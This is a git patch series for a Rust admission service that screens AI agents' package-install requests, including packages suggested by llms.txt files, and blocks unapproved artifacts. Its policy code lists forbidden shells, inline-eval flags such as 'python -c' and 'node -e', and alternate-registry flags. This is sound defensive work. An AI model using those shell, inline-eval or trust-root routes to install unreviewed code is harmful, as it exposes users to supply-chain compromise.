AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, - build_audit_record, + build_audit_record, build_malformed_audit_record, }; pub use config::{ AdmissionServiceConfig, CliArgs, ConfigError, CredentialFile, load_admin_token, load_config, parse_cli_args, validate_service_config, }; +pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, }; -pub use policy::{admission_decision, is_sha256_hex, sha256_hex}; +pub use policy::{ + admission_decision, is_sha256_hex, sha256_hex, validate_install_intent, +}; diff --git a/crates/agent-artifact-admission/src/main.rs b/crates/agent-artifact-admission/src/main.rs new file mode 100644 index 00000000..c119aa50 --- /dev/null +++ b/crates/agent-artifact-admission/src/main.rs @@ -0,0 +1,15 @@ +use std::process::ExitCode; + +use wardnet_agent_artifact_admission::run_cli; + +#[tokio::main] +async fn main() -> ExitCode { + let arguments: Vec = std::env::args().skip(1).collect(); + match run_cli(&arguments).await { + Ok(()) => ExitCode::SUCCESS, + Err(error) => { + eprintln!("{error}"); + ExitCode::FAILURE + } + } +} diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs index 39d420f8..6e553ff7 100644 --- a/crates/agent-artifact-admission/src/model.rs +++ b/crates/agent-artifact-admission/src/model.rs @@ -152,7 +152,8 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), ), }, artifacts: vec![ArtifactCoordinate { @@ -173,7 +174,7 @@ impl InstallIntent { #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[serde(deny_unknown_fields)] pub struct AdmissionDecision { - /// Original caller request identifier. + /// Original caller request identifier or a content-addressed malformed surrogate. pub request_id: String, /// Final policy decision. pub decision: DecisionKind, @@ -185,7 +186,7 @@ pub struct AdmissionDecision { pub policy_revision: String, /// Normalized source URI when present. pub normalized_source_uri: Option, - /// SHA-256 of the structured command vector. + /// SHA-256 of the structured command vector or malformed request body. pub command_sha256: String, /// Number of artifacts the caller asked to install. pub artifact_count: usize, @@ -215,6 +216,18 @@ impl DecisionKind { #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum ReasonCode { + /// The request body could not be parsed as the strict install-intent schema. + MalformedRequest, + /// A bounded identifier, argument vector, source field, or count was invalid. + InvalidRequest, + /// The structured operation was not the supported install operation. + InvalidOperation, + /// The reviewed workspace manifest digest was malformed. + InvalidManifestDigest, + /// One or more artifact coordinates were malformed or unpinned. + InvalidArtifact, + /// Duplicate artifact identities or artifact argument tokens were supplied. + DuplicateArtifact, /// No exact approved artifact matched the requested install. ArtifactNotApproved, /// No reviewed manifest matched the workspace digest. @@ -231,14 +244,24 @@ pub enum ReasonCode { InvalidSourceUri, /// The command path is forbidden even if otherwise allowlisted. ForbiddenCommand, + /// The command attempted to introduce an alternate package trust root. + AlternateTrustRoot, /// The package manager invocation omitted a mandatory hardening flag. MissingSafetyFlag, + /// Durable audit evidence could not be persisted before returning a decision. + AuditUnavailable, } impl ReasonCode { /// Stable string form used by tests and audit sinks. pub fn as_str(self) -> &'static str { match self { + Self::MalformedRequest => "malformed_request", + Self::InvalidRequest => "invalid_request", + Self::InvalidOperation => "invalid_operation", + Self::InvalidManifestDigest => "invalid_manifest_digest", + Self::InvalidArtifact => "invalid_artifact", + Self::DuplicateArtifact => "duplicate_artifact", Self::ArtifactNotApproved => "artifact_not_approved", Self::ManifestNotApproved => "manifest_not_approved", Self::ExecutableNotAllowed => "executable_not_allowed", @@ -247,7 +270,9 @@ impl ReasonCode { Self::MissingSourceDigest => "missing_source_digest", Self::InvalidSourceUri => "invalid_source_uri", Self::ForbiddenCommand => "forbidden_command", + Self::AlternateTrustRoot => "alternate_trust_root", Self::MissingSafetyFlag => "missing_safety_flag", + Self::AuditUnavailable => "audit_unavailable", } } } diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 0bdda9d9..25e58792 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -1,20 +1,38 @@ +use std::collections::BTreeSet; + use crate::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSourceKind, ReasonCode, }; use url::Url; +const MAX_REQUEST_ID_BYTES: usize = 256; +const MAX_ACTOR_ID_BYTES: usize = 512; +const MAX_WORKSPACE_ID_BYTES: usize = 512; +const MAX_OPERATION_BYTES: usize = 32; +const MAX_ARGV_TOKENS: usize = 128; +const MAX_ARG_BYTES: usize = 4 * 1024; +const MAX_ARGV_BYTES: usize = 64 * 1024; +const MAX_SOURCE_URI_BYTES: usize = 4 * 1024; +const MAX_ARTIFACTS: usize = 64; +const MAX_ECOSYSTEM_BYTES: usize = 64; +const MAX_ARTIFACT_NAME_BYTES: usize = 512; +const MAX_VERSION_BYTES: usize = 256; +const MAX_OWNER_BYTES: usize = 512; +const MAX_ARTIFACT_ARGUMENT_BYTES: usize = 1024; + /// Compute a deterministic fail-closed admission decision for one install intent. pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { - let mut reason_codes = Vec::new(); + let mut reason_codes = validate_install_intent(intent); + match intent.argv.first() { Some(executable) if policy .allowed_executables .iter() .any(|allowed| allowed == executable) => {} - Some(_) => reason_codes.push(ReasonCode::ExecutableNotAllowed), - None => reason_codes.push(ReasonCode::MissingExecutable), + Some(_) => push_reason(&mut reason_codes, ReasonCode::ExecutableNotAllowed), + None => push_reason(&mut reason_codes, ReasonCode::MissingExecutable), } validate_source(intent, &mut reason_codes); @@ -42,7 +60,7 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A DecisionKind::Block }; AdmissionDecision { - request_id: intent.request_id.clone(), + request_id: auditable_identifier("request", &intent.request_id, MAX_REQUEST_ID_BYTES), decision, reason_codes, policy_id: policy.policy_id.clone(), @@ -53,13 +71,81 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } } +/// Validate the bounded structural contract independently of policy membership. +pub fn validate_install_intent(intent: &InstallIntent) -> Vec { + let mut reason_codes = Vec::new(); + + if !valid_text_field(&intent.request_id, MAX_REQUEST_ID_BYTES) + || !valid_text_field(&intent.actor_id, MAX_ACTOR_ID_BYTES) + || !valid_text_field(&intent.workspace_id, MAX_WORKSPACE_ID_BYTES) + || !valid_text_field(&intent.operation, MAX_OPERATION_BYTES) + { + push_reason(&mut reason_codes, ReasonCode::InvalidRequest); + } + + if intent.operation != "install" { + push_reason(&mut reason_codes, ReasonCode::InvalidOperation); + } + + if intent.argv.is_empty() { + push_reason(&mut reason_codes, ReasonCode::MissingExecutable); + } else if intent.argv.len() > MAX_ARGV_TOKENS + || intent.argv.iter().any(|argument| { + !valid_text_field(argument, MAX_ARG_BYTES) || argument.contains('\0') + }) + || intent.argv.iter().map(String::len).sum::() > MAX_ARGV_BYTES + { + push_reason(&mut reason_codes, ReasonCode::InvalidRequest); + } + + if !is_sha256_hex(&intent.manifest_sha256) { + push_reason(&mut reason_codes, ReasonCode::InvalidManifestDigest); + } + + if intent + .source + .uri + .as_deref() + .is_some_and(|uri| uri.len() > MAX_SOURCE_URI_BYTES || uri.chars().any(char::is_control)) + { + push_reason(&mut reason_codes, ReasonCode::InvalidSourceUri); + } + + if intent.artifacts.is_empty() || intent.artifacts.len() > MAX_ARTIFACTS { + push_reason(&mut reason_codes, ReasonCode::InvalidArtifact); + } + + let mut artifact_identities = BTreeSet::new(); + let mut artifact_arguments = BTreeSet::new(); + for artifact in &intent.artifacts { + if !valid_artifact_coordinate(artifact) { + push_reason(&mut reason_codes, ReasonCode::InvalidArtifact); + } + let identity = ( + artifact.ecosystem.as_str(), + artifact.name.as_str(), + artifact.version.as_str(), + artifact.registry_url.as_str(), + artifact.owner.as_str(), + artifact.sha256.as_str(), + ); + if !artifact_identities.insert(identity) + || !artifact_arguments.insert(artifact.artifact_argument.as_str()) + { + push_reason(&mut reason_codes, ReasonCode::DuplicateArtifact); + } + } + + reason_codes +} + fn validate_source(intent: &InstallIntent, reason_codes: &mut Vec) { if !requires_remote_source_validation(intent.source.kind) { return; } match intent.source.uri.as_deref() { - Some(uri) if is_valid_remote_source_uri(uri) => {} + Some(uri) if normalize_https_source_uri(uri).is_some() => {} Some(_) => push_reason(reason_codes, ReasonCode::InvalidSourceUri), None => push_reason(reason_codes, ReasonCode::MissingSourceUri), } @@ -68,7 +154,7 @@ fn validate_source(intent: &InstallIntent, reason_codes: &mut Vec) { .source .content_sha256 .as_deref() - .is_some_and(crate::is_sha256_hex) + .is_some_and(is_sha256_hex) { push_reason(reason_codes, ReasonCode::MissingSourceDigest); } @@ -78,24 +164,55 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec) { let Some(executable) = intent.argv.first().map(String::as_str) else { return; }; - let args = &intent.argv[1..]; + let arguments = &intent.argv[1..]; let missing = match executable { - "npm" | "pnpm" | "yarn" | "bun" => !args.iter().any(|arg| arg == "--ignore-scripts"), - "pip" | "pip3" => !args.iter().any(|arg| arg == "--require-hashes"), - "cargo" if args.first().is_some_and(|arg| arg == "install") => { - !args.iter().any(|arg| arg == "--locked") + "npm" | "pnpm" | "yarn" | "bun" => { + !arguments.iter().any(|argument| argument == "--ignore-scripts") } - "uv" if args.first().is_some_and(|arg| arg == "pip") => { - !args.iter().any(|arg| arg == "--require-hashes") + "pip" | "pip3" => !arguments + .iter() + .any(|argument| argument == "--require-hashes"), + "cargo" if arguments.first().is_some_and(|argument| argument == "install") => { + !arguments.iter().any(|argument| argument == "--locked") + } + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments.get(1).is_some_and(|argument| argument == "install") => + { + !arguments + .iter() + .any(|argument| argument == "--require-hashes") + } + "docker" | "podman" + if arguments.first().is_some_and(|argument| argument == "pull") => + { + intent.artifacts.is_empty() + || intent.artifacts.iter().any(|artifact| { + artifact.artifact_argument + != format!("{}@sha256:{}", artifact.name, artifact.sha256) + || intent + .argv + .iter() + .filter(|token| *token == &artifact.artifact_argument) + .count() + != 1 + }) } _ => false, }; @@ -135,26 +252,44 @@ fn requires_remote_source_validation(kind: InstructionSourceKind) -> bool { } fn normalized_source_uri(intent: &InstallIntent) -> Option { - let uri = intent.source.uri.as_deref()?; + intent + .source + .uri + .as_deref() + .and_then(normalize_https_source_uri) +} + +pub(crate) fn normalize_https_source_uri(uri: &str) -> Option { let mut url = Url::parse(uri).ok()?; + if url.scheme() != "https" + || !url.username().is_empty() + || url.password().is_some() + || url.host_str().is_none() + { + return None; + } url.set_query(None); url.set_fragment(None); Some(url.to_string()) } -fn is_valid_remote_source_uri(uri: &str) -> bool { - let Ok(url) = Url::parse(uri) else { - return false; - }; - url.scheme() == "https" - && url.username().is_empty() - && url.password().is_none() - && url.host_str().is_some() +pub(crate) fn canonical_registry_url(registry_url: &str) -> Option { + let url = Url::parse(registry_url).ok()?; + if url.scheme() != "https" + || url.host_str().is_none() + || !url.username().is_empty() + || url.password().is_some() + || url.query().is_some() + || url.fragment().is_some() + { + return None; + } + Some(url.to_string()) } -fn is_forbidden_executable(executable: &str) -> bool { +pub(crate) fn is_permanently_forbidden_executable(executable: &str) -> bool { matches!( - executable, + executable.to_ascii_lowercase().as_str(), "sh" | "bash" | "zsh" | "cmd" @@ -171,13 +306,73 @@ fn is_forbidden_executable(executable: &str) -> bool { ) } -fn requests_inline_eval(executable: &str, args: &[String]) -> bool { +pub(crate) fn supported_executable(executable: &str) -> bool { matches!( executable, + "npm" + | "pnpm" + | "yarn" + | "bun" + | "pip" + | "pip3" + | "uv" + | "cargo" + | "docker" + | "podman" + ) +} + +fn supported_install_command(executable: &str, arguments: &[String]) -> bool { + match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + "pip" | "pip3" | "cargo" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments.get(1).is_some_and(|argument| argument == "install") + } + "docker" | "podman" => arguments + .first() + .is_some_and(|argument| argument == "pull"), + _ => false, + } +} + +fn requests_inline_eval(executable: &str, arguments: &[String]) -> bool { + matches!( + executable.to_ascii_lowercase().as_str(), "python" | "python3" | "node" | "ruby" | "perl" | "php" - ) && args + ) && arguments .iter() - .any(|arg| matches!(arg.as_str(), "-c" | "-e" | "--eval" | "--execute")) + .any(|argument| matches!(argument.as_str(), "-c" | "-e" | "--eval" | "--execute")) +} + +fn requests_alternate_trust_root(arguments: &[String]) -> bool { + const FORBIDDEN_FLAGS: &[&str] = &[ + "--extra-index-url", + "--index-url", + "--trusted-host", + "--find-links", + "--registry", + "--registry-url", + "-i", + "-f", + ]; + arguments.iter().any(|argument| { + FORBIDDEN_FLAGS.iter().any(|flag| { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| suffix.starts_with('=')) + }) + }) } fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { @@ -190,11 +385,50 @@ fn exact_artifact_match(approved: &ApprovedArtifact, artifact: &ArtifactCoordina approved.ecosystem == artifact.ecosystem && approved.name == artifact.name && approved.version == artifact.version - && approved.registry_url == artifact.registry_url + && canonical_registry_url(&approved.registry_url) + == canonical_registry_url(&artifact.registry_url) && approved.owner == artifact.owner && approved.sha256 == artifact.sha256 } +pub(crate) fn valid_artifact_coordinate(artifact: &ArtifactCoordinate) -> bool { + valid_text_field(&artifact.ecosystem, MAX_ECOSYSTEM_BYTES) + && valid_text_field(&artifact.name, MAX_ARTIFACT_NAME_BYTES) + && valid_pinned_version(&artifact.version) + && canonical_registry_url(&artifact.registry_url).is_some() + && valid_text_field(&artifact.owner, MAX_OWNER_BYTES) + && is_sha256_hex(&artifact.sha256) + && valid_text_field(&artifact.artifact_argument, MAX_ARTIFACT_ARGUMENT_BYTES) +} + +pub(crate) fn valid_pinned_version(version: &str) -> bool { + if !valid_text_field(version, MAX_VERSION_BYTES) { + return false; + } + let lowercase = version.to_ascii_lowercase(); + if matches!( + lowercase.as_str(), + "latest" | "main" | "master" | "head" | "stable" | "next" + ) { + return false; + } + version + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'.' | b'-' | b'_' | b'+')) +} + +pub(crate) fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { + !value.is_empty() && value.len() <= maximum_bytes && !value.chars().any(char::is_control) +} + +pub(crate) fn auditable_identifier(label: &str, value: &str, maximum_bytes: usize) -> String { + if valid_text_field(value, maximum_bytes) { + value.to_string() + } else { + format!("{label}:sha256:{}", sha256_hex(value.as_bytes())) + } +} + /// Return `true` when `value` is a lowercase hexadecimal SHA-256 digest. pub fn is_sha256_hex(value: &str) -> bool { value.len() == 64 diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs index 14dba85d..824d0f52 100644 --- a/crates/agent-artifact-admission/tests/audit_contract.rs +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -33,7 +33,7 @@ fn temp_path(label: &str) -> std::path::PathBuf { #[test] fn audit_record_minimizes_untrusted_command_and_source_data() { let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let json = serde_json::to_string(&record).expect("audit record must serialize"); assert!(record.timestamp_unix_ms > 0); @@ -42,6 +42,8 @@ fn audit_record_minimizes_untrusted_command_and_source_data() { assert_eq!(record.workspace_id, intent.workspace_id); assert_eq!(record.operation, "install"); assert_eq!(record.command_sha256, decision.command_sha256); + assert_eq!(record.request_body_sha256, None); + assert_eq!(record.manifest_sha256, Some(intent.manifest_sha256.clone())); assert_eq!( record.normalized_source_uri.as_deref(), Some("https://example.invalid/llms.txt") @@ -63,7 +65,7 @@ fn audit_record_minimizes_untrusted_command_and_source_data() { #[test] fn memory_sink_preserves_complete_records_in_append_order() { let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let sink = MemoryAuditSink::default(); sink.append(&record).expect("first append must succeed"); @@ -77,7 +79,7 @@ fn memory_sink_preserves_complete_records_in_append_order() { fn file_sink_appends_complete_synchronized_ndjson_records() { let path = temp_path("append"); let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let sink = FileAuditSink::new(path.clone()); sink.append(&record).expect("first append must succeed"); @@ -100,7 +102,8 @@ fn file_sink_rejects_oversized_serialized_record_without_writing() { let path = temp_path("oversized"); let (mut intent, decision) = sensitive_blocked_attempt(); intent.actor_id = "x".repeat(70 * 1024); - let record = build_audit_record(&intent, &decision); + let mut record = build_audit_record(&intent, &decision).expect("audit record must build"); + record.policy_id = "x".repeat(70 * 1024); let sink = FileAuditSink::new(path.clone()); assert!(sink.append(&record).is_err()); @@ -113,7 +116,7 @@ fn file_sink_reports_deterministic_storage_failure() { .with_extension("") .join("audit.ndjson"); let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let sink = FileAuditSink::new(path); assert!(sink.append(&record).is_err()); diff --git a/tests/agent_artifact_admission_red.rs b/tests/agent_artifact_admission_red.rs deleted file mode 100644 index c41787c3..00000000 --- a/tests/agent_artifact_admission_red.rs +++ /dev/null @@ -1,23 +0,0 @@ -//! RED contract for issue #128. -//! -//! This test intentionally lands before the new crate. The first PR head must -//! fail because Wardnet has no agent artifact admission boundary yet. The next -//! implementation commit moves this regression into the owning crate. - -use wardnet_agent_artifact_admission::{AdmissionPolicy, InstallIntent, admission_decision}; - -#[test] -fn unowned_package_from_llms_txt_is_blocked() { - let policy = AdmissionPolicy::deny_all_for_test(); - let intent = InstallIntent::unowned_llms_package_for_test(); - - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision.as_str(), "block"); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "artifact_not_approved") - ); -} From 38a37be6f27b3f5a11102eaaeb25cd9cb2f9a6bf Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 12:19:49 +0000 Subject: [PATCH 018/702] chore(lock): refresh admission service dependencies --- .../agent-admission-lock-refresh.yml | 39 ------------------- Cargo.lock | 3 ++ 2 files changed, 3 insertions(+), 39 deletions(-) delete mode 100644 .github/workflows/agent-admission-lock-refresh.yml diff --git a/.github/workflows/agent-admission-lock-refresh.yml b/.github/workflows/agent-admission-lock-refresh.yml deleted file mode 100644 index d33a3c41..00000000 --- a/.github/workflows/agent-admission-lock-refresh.yml +++ /dev/null @@ -1,39 +0,0 @@ -name: Verify and refresh agent admission lockfile - -on: - push: - branches: - - feat/agent-artifact-admission - paths: - - crates/agent-artifact-admission/Cargo.toml - - crates/agent-artifact-admission/src/** - - crates/agent-artifact-admission/tests/** - - .github/workflows/agent-admission-lock-refresh.yml - -permissions: - contents: write - -jobs: - verify-and-refresh: - if: github.actor != 'github-actions[bot]' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 - with: - ref: feat/agent-artifact-admission - fetch-depth: 0 - - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable - with: - toolchain: stable - - name: Verify the focused service and refresh its lockfile edges - run: cargo test -p wardnet-agent-artifact-admission --tests - - name: Remove the completed one-shot workflow - run: rm .github/workflows/agent-admission-lock-refresh.yml - - name: Commit the lockfile and workflow cleanup - run: | - git config user.name "github-actions[bot]" - git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - git add Cargo.lock .github/workflows/agent-admission-lock-refresh.yml - git diff --cached --check - git commit -m "chore(lock): refresh admission service dependencies" - git push origin HEAD:feat/agent-artifact-admission diff --git a/Cargo.lock b/Cargo.lock index 7861539d..6a1cb1ed 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1382,9 +1382,12 @@ dependencies = [ name = "wardnet-agent-artifact-admission" version = "0.1.0" dependencies = [ + "axum", "ring", "serde", "serde_json", + "tokio", + "tower", "url", ] From 34f63057b159c2eb7205270be7bd25dc0b43516d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 29 Aug 2026 05:21:33 -0700 Subject: [PATCH 019/702] chore(ci): format admission service exact head --- .github/workflows/agent-admission-format.yml | 38 ++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 .github/workflows/agent-admission-format.yml diff --git a/.github/workflows/agent-admission-format.yml b/.github/workflows/agent-admission-format.yml new file mode 100644 index 00000000..a4c6443e --- /dev/null +++ b/.github/workflows/agent-admission-format.yml @@ -0,0 +1,38 @@ +name: Format agent admission service + +on: + push: + branches: + - feat/agent-artifact-admission + paths: + - .github/workflows/agent-admission-format.yml + +permissions: + contents: write + +jobs: + format-and-clean: + if: github.actor != 'github-actions[bot]' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + ref: feat/agent-artifact-admission + fetch-depth: 0 + - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable + with: + toolchain: stable + - name: Apply and verify rustfmt + run: | + cargo fmt --all + cargo fmt --all -- --check + - name: Remove the completed one-shot workflow + run: rm .github/workflows/agent-admission-format.yml + - name: Commit formatting and workflow cleanup + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + git add crates/agent-artifact-admission .github/workflows/agent-admission-format.yml + git diff --cached --check + git commit -m "style(rust): format admission service" + git push origin HEAD:feat/agent-artifact-admission From 07be0ab6ecd9f3f50c4474f40bba1d2972c48ba0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 12:22:42 +0000 Subject: [PATCH 020/702] style(rust): format admission service --- .github/workflows/agent-admission-format.yml | 38 -------------- crates/agent-artifact-admission/src/http.rs | 9 ++-- crates/agent-artifact-admission/src/lib.rs | 4 +- crates/agent-artifact-admission/src/model.rs | 3 +- crates/agent-artifact-admission/src/policy.rs | 49 +++++++++---------- .../tests/http_contract.rs | 12 ++++- 6 files changed, 39 insertions(+), 76 deletions(-) delete mode 100644 .github/workflows/agent-admission-format.yml diff --git a/.github/workflows/agent-admission-format.yml b/.github/workflows/agent-admission-format.yml deleted file mode 100644 index a4c6443e..00000000 --- a/.github/workflows/agent-admission-format.yml +++ /dev/null @@ -1,38 +0,0 @@ -name: Format agent admission service - -on: - push: - branches: - - feat/agent-artifact-admission - paths: - - .github/workflows/agent-admission-format.yml - -permissions: - contents: write - -jobs: - format-and-clean: - if: github.actor != 'github-actions[bot]' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 - with: - ref: feat/agent-artifact-admission - fetch-depth: 0 - - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable - with: - toolchain: stable - - name: Apply and verify rustfmt - run: | - cargo fmt --all - cargo fmt --all -- --check - - name: Remove the completed one-shot workflow - run: rm .github/workflows/agent-admission-format.yml - - name: Commit formatting and workflow cleanup - run: | - git config user.name "github-actions[bot]" - git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - git add crates/agent-artifact-admission .github/workflows/agent-admission-format.yml - git diff --cached --check - git commit -m "style(rust): format admission service" - git push origin HEAD:feat/agent-artifact-admission diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index d6cf185a..5e329cfa 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -17,9 +17,9 @@ use tokio::net::TcpListener; use crate::{ AdmissionDecision, AdmissionPolicy, AdmissionServiceConfig, AuditRecord, AuditSink, - DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, - build_audit_record, build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, - sha256_hex, validate_install_intent, + DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, build_audit_record, + build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, sha256_hex, + validate_install_intent, }; const MAX_ADMIN_TOKEN_BYTES: usize = 4096; @@ -118,7 +118,8 @@ pub async fn run_service( /// Parse strict CLI arguments, load bounded files, and run the standalone service. pub async fn run_cli(args: &[String]) -> Result<(), ServiceError> { let cli = parse_cli_args(args).map_err(|_| ServiceError::Configuration)?; - let config = load_config(Path::new(&cli.config_path)).map_err(|_| ServiceError::Configuration)?; + let config = + load_config(Path::new(&cli.config_path)).map_err(|_| ServiceError::Configuration)?; let token = load_admin_token(Path::new(&cli.credentials_path)) .map_err(|_| ServiceError::Configuration)?; run_service(config, token).await diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 967ca25f..04b82d30 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -19,6 +19,4 @@ pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, }; -pub use policy::{ - admission_decision, is_sha256_hex, sha256_hex, validate_install_intent, -}; +pub use policy::{admission_decision, is_sha256_hex, sha256_hex, validate_install_intent}; diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs index 6e553ff7..28dab836 100644 --- a/crates/agent-artifact-admission/src/model.rs +++ b/crates/agent-artifact-admission/src/model.rs @@ -152,8 +152,7 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" - .to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), ), }, artifacts: vec![ArtifactCoordinate { diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 25e58792..c9d47b3e 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -90,9 +90,10 @@ pub fn validate_install_intent(intent: &InstallIntent) -> Vec { if intent.argv.is_empty() { push_reason(&mut reason_codes, ReasonCode::MissingExecutable); } else if intent.argv.len() > MAX_ARGV_TOKENS - || intent.argv.iter().any(|argument| { - !valid_text_field(argument, MAX_ARG_BYTES) || argument.contains('\0') - }) + || intent + .argv + .iter() + .any(|argument| !valid_text_field(argument, MAX_ARG_BYTES) || argument.contains('\0')) || intent.argv.iter().map(String::len).sum::() > MAX_ARGV_BYTES { push_reason(&mut reason_codes, ReasonCode::InvalidRequest); @@ -182,26 +183,29 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec { - !arguments.iter().any(|argument| argument == "--ignore-scripts") - } + "npm" | "pnpm" | "yarn" | "bun" => !arguments + .iter() + .any(|argument| argument == "--ignore-scripts"), "pip" | "pip3" => !arguments .iter() .any(|argument| argument == "--require-hashes"), - "cargo" if arguments.first().is_some_and(|argument| argument == "install") => { + "cargo" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { !arguments.iter().any(|argument| argument == "--locked") } - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments.get(1).is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { !arguments .iter() .any(|argument| argument == "--require-hashes") } - "docker" | "podman" - if arguments.first().is_some_and(|argument| argument == "pull") => - { + "docker" | "podman" if arguments.first().is_some_and(|argument| argument == "pull") => { intent.artifacts.is_empty() || intent.artifacts.iter().any(|artifact| { artifact.artifact_argument @@ -309,16 +313,7 @@ pub(crate) fn is_permanently_forbidden_executable(executable: &str) -> bool { pub(crate) fn supported_executable(executable: &str) -> bool { matches!( executable, - "npm" - | "pnpm" - | "yarn" - | "bun" - | "pip" - | "pip3" - | "uv" - | "cargo" - | "docker" - | "podman" + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "uv" | "cargo" | "docker" | "podman" ) } @@ -336,11 +331,11 @@ fn supported_install_command(executable: &str, arguments: &[String]) -> bool { .is_some_and(|argument| argument == "install"), "uv" => { arguments.first().is_some_and(|argument| argument == "pip") - && arguments.get(1).is_some_and(|argument| argument == "install") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") } - "docker" | "podman" => arguments - .first() - .is_some_and(|argument| argument == "pull"), + "docker" | "podman" => arguments.first().is_some_and(|argument| argument == "pull"), _ => false, } } diff --git a/crates/agent-artifact-admission/tests/http_contract.rs 